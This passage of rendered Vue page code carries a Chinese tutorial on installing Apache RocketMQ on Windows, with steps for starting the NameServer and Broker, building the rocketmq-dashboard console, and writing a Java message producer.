"),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br"),a("span",{staticClass:"line-number"},[s._v("17")]),a("br"),a("span",{staticClass:"line-number"},[s._v("18")]),a("br"),a("span",{staticClass:"line-number"},[s._v("19")]),a("br"),a("span",{staticClass:"line-number"},[s._v("20")]),a("br"),a("span",{staticClass:"line-number"},[s._v("21")]),a("br"),a("span",{staticClass:"line-number"},[s._v("22")]),a("br"),a("span",{staticClass:"line-number"},[s._v("23")]),a("br"),a("span",{staticClass:"line-number"},[s._v("24")]),a("br")])]),a("p",[s._v("小伙伴们可以根据自己的实际情况,自行修改上述文件中配置的目录地址。")]),s._v(" "),a("p",[s._v("(6)非常重要的一步,在启动RocketMQ之前,需要配置下ROCKETMQ_HOME环境变量,否则在启动RocketMQ的时候,会提示如下错误信息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("E:"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("Application"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("microservices"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("RocketMQ"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("rocketmq-4.9.3"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("\\")]),s._v("bin"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mqnamesrv.cmd\nPlease "),a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("set")]),s._v(" the ROCKETMQ_HOME variable "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("in")]),s._v(" your environment"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[a("strong",[s._v("提示:设置ROCKETMQ_HOME环境变量。")])]),s._v(" "),a("p",[s._v("接下来,就在系统环境变量中,设置下ROCKETMQ_HOME的环境变量,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-005","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-005.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(7)配置完RocketMQ的环境变量后,打开cmd命令行,进入RocketMQ的bin目录,例如,我电脑的目录是:E:\\Application\\microservices\\RocketMQ\\rocketmq-4.9.3\\bin。执行"),a("code",[s._v("mqnamesrv.cmd")]),s._v("命令启动NameServer,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-006","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-006.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("打印出如下信息,说明RocketMQ的NameServer启动成功了。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("The Name Server boot success. "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("serializeType")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("JSON\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("(8)重新打开一个cmd命令行,进入RocketMQ的bin目录,输入"),a("code",[s._v("mqbroker.cmd -n localhost:9876")]),s._v("命令启动RocketMQ的Broker服务,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-007.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("打印出如下信息,说明RocketMQ的Broker服务启动成功了。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("boot success. "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("serializeType")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("JSON and name server is localhost:9876\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("h3",{attrs:{id:"测试rocketmq环境"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#测试rocketmq环境"}},[s._v("#")]),s._v(" 测试RocketMQ环境")]),s._v(" "),a("p",[s._v("RocketMQ内置了大量的测试案例,并且这些测试案例可以通过RocketMQ的bin目录下的tools.cmd命令进行测试。接下来,我们就使用RocketMQ自带的tools.cmd命令测试RocketMQ的环境。")]),s._v(" "),a("p",[s._v("(1)启动生产者程序向RocketMQ发送消息。")]),s._v(" "),a("p",[s._v("重新打开cmd命令行,进入RocketMQ的bin目录,在命令行输入如下命令调用RocketMQ自带的生产者程序向RocketMQ发送消息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("NAMESRV_ADDR")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("localhost:9876\ntools.cmd org.apache.rocketmq.example.quickstart.Producer\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,执行完上述两条命令后,生产者程序开始向RocketMQ发送消息。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-008","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-008.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(2)启动消费者程序消费RocketMQ中的消息。")]),s._v(" "),a("p",[s._v("重新打开cmd命令行,进入RocketMQ的bin目录,在命令行输入如下命令调用RocketMQ自带的消费者程序消费RocketMQ中的消息。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token assign-left variable"}},[s._v("NAMESRV_ADDR")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("localhost:9876\ntools.cmd org.apache.rocketmq.example.quickstart.Consumer\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,执行完上述两条命令后,消费者程序开始消费RocketMQ中的消息。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-009","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-009.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("说明我们使用源码编译搭建RocketMQ环境成功了。")]),s._v(" "),a("h3",{attrs:{id:"源码编译rocketmq控制台"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#源码编译rocketmq控制台"}},[s._v("#")]),s._v(" 源码编译RocketMQ控制台")]),s._v(" "),a("p",[s._v("这里需要注意的是:RocketMQ控制台本质上是一个SpringBoot程序,启动后默认监听的端口是8080。RocketMQ的新版控制台已经从RocketMQ的rocketmq-externals项目中分离出来了。也就是说,新版的RocketMQ控制台已经从https://github.com/apache/rocketmq-externals链接所示的项目中分离出来,新版控制台的链接地址为:https://github.com/apache/rocketmq-dashboard。")]),s._v(" "),a("p",[s._v("(1)从链接https://github.com/apache/rocketmq-dashboard下载新版的RocketMQ控制台源码。下载后解压。")]),s._v(" "),a("p",[s._v("(2)进入到RocketMQ控制台源码解压目录的src/main/resources目录下,编辑application.yml文件,修改"),a("code",[s._v("namesrvAddrs")]),s._v("地址,去掉多余的namesrvAddrs地址。")]),s._v(" "),a("p",[s._v("application.yml文件中原来的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# if this value is empty,use env value rocketmq.config.namesrvAddr NAMESRV_ADDR | now, default localhost:9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# configure multiple namesrv addresses to manage multiple different clusters")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namesrvAddrs")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v(" 127.0.0.2"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("将127.0.0.2:9876删除或者注释掉,如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("rocketmq")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("config")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# if this value is empty,use env value rocketmq.config.namesrvAddr NAMESRV_ADDR | now, default localhost:9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# configure multiple namesrv addresses to manage multiple different clusters")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("namesrvAddrs")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("-")]),s._v(" 127.0.0.1"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("9876")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("# - 127.0.0.2:9876")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br")])]),a("p",[s._v("RocketMQ控制台启动时默认监听的端口是8080,由于我们项目中订单微服务监听的端口也是8080,所以,将RocketMQ控制台监听的端口修改为10003,修改前的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("8080")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("修改后的配置如下所示。")]),s._v(" "),a("div",{staticClass:"language-yaml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-yaml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("server")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token key atrule"}},[s._v("port")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(":")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("10003")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("(3)修改完application.yml文件后,打开cmd命令行,进入RocketMQ控制台源码的根目录,输入如下Maven命令开始编译RocketMQ控制台的源码。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[s._v("mvn clean "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("install")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-Dmaven.test.skip")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v("true\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("p",[s._v("编译过程如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-010","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-010.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("(4)编译完成后,会在RocketMQ控制台源码的根目录下生成target目录,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-011","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-011.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("进入target目录后,可以看到生成了rocketmq-dashboard-1.0.1-SNAPSHOT.jar文件,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-012","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-012.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("这个jar文件就是RocketMQ控制台的运行文件。")]),s._v(" "),a("p",[s._v("(5)重新打开cmd命令行,进入rocketmq-dashboard-1.0.1-SNAPSHOT.jar文件所在的命令,在命令行直接输入如下命令启动RocketMQ控制台程序。")]),s._v(" "),a("div",{staticClass:"language-bash line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-bash"}},[a("code",[a("span",{pre:!0,attrs:{class:"token function"}},[s._v("java")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token parameter variable"}},[s._v("-jar")]),s._v(" rocketmq-dashboard-1.0.1-SNAPSHOT.jar\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br")])]),a("h3",{attrs:{id:"验证rocketmq控制台"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#验证rocketmq控制台"}},[s._v("#")]),s._v(" 验证RocketMQ控制台")]),s._v(" "),a("p",[s._v("在浏览器中输入"),a("code",[s._v("http://localhost:10003")]),s._v("后,出现如下画面说明RocketMQ启动成功。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-013","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-013.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("界面默认是英文,我们也可以点击右上角的"),a("code",[s._v("changeLanguage")]),s._v("切换语言,切换成中文显示,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-014","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-014.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("选择主题菜单想后如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-015","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-015.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到目前RocketMQ中存在一个名称为TopicTest的主题,点击TopicTest主题的状态按钮,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-016","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-016.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("会显示TopicTest主题的消息队列信息,如下所示。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-18-017","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-18-017.png",loading:"lazy"}})]),s._v(" "),a("p",[s._v("可以看到,正确显示出了TopicTest主题的消息队列信息,说明RocketMQ控制台启动成功了。")]),s._v(" "),a("h2",{attrs:{id:"编码测试rocketmq"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#编码测试rocketmq"}},[s._v("#")]),s._v(" 编码测试RocketMQ")]),s._v(" "),a("p",[s._v("我们使用RocketMQ自带的生产者和消费者程序实现了消息的生成与消费,为了让小伙伴们能够更加直观的感受到消息中间件在项目中的作用,接下来,我们自己编码测试下RocketMQ。")]),s._v(" "),a("h3",{attrs:{id:"导入rocketmq依赖"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#导入rocketmq依赖"}},[s._v("#")]),s._v(" 导入RocketMQ依赖")]),s._v(" "),a("p",[s._v("在用户微服务shop-user的pom.xml中,添加RocketMQ相关的依赖,如下所示。")]),s._v(" "),a("div",{staticClass:"language-xml line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-xml"}},[a("code",[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.rocketmq"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("rocketmq-spring-boot-starter"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("2.0.3"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.apache.rocketmq"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("rocketmq-client"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("4.5.2"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token tag"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br")])]),a("h3",{attrs:{id:"编写生产者代码"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#编写生产者代码"}},[s._v("#")]),s._v(" 编写生产者代码")]),s._v(" "),a("p",[s._v("在用户微服务的sec/test/java目录下新建"),a("code",[s._v("io.binghe.shop.rocketmq.test")]),s._v("包,在包下创建RocketMQProducer类,作为RocketMQ的生产者,代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe\n * @version 1.0.0\n * @description RocketMQ生产者\n */")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RocketMQProducer")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建消息生产者")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("DefaultMQProducer")]),s._v(" producer "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("DefaultMQProducer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheProducerGroup"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置NameServer地址")]),s._v("\n producer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("setNamesrvAddr")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"127.0.0.1:9876"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//启动生产者")]),s._v("\n producer"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("start")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//构建消息对象")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Message")]),s._v(" message "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Message")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTopic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"bingheTag"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Hello RocketMQ"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getBytes")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token 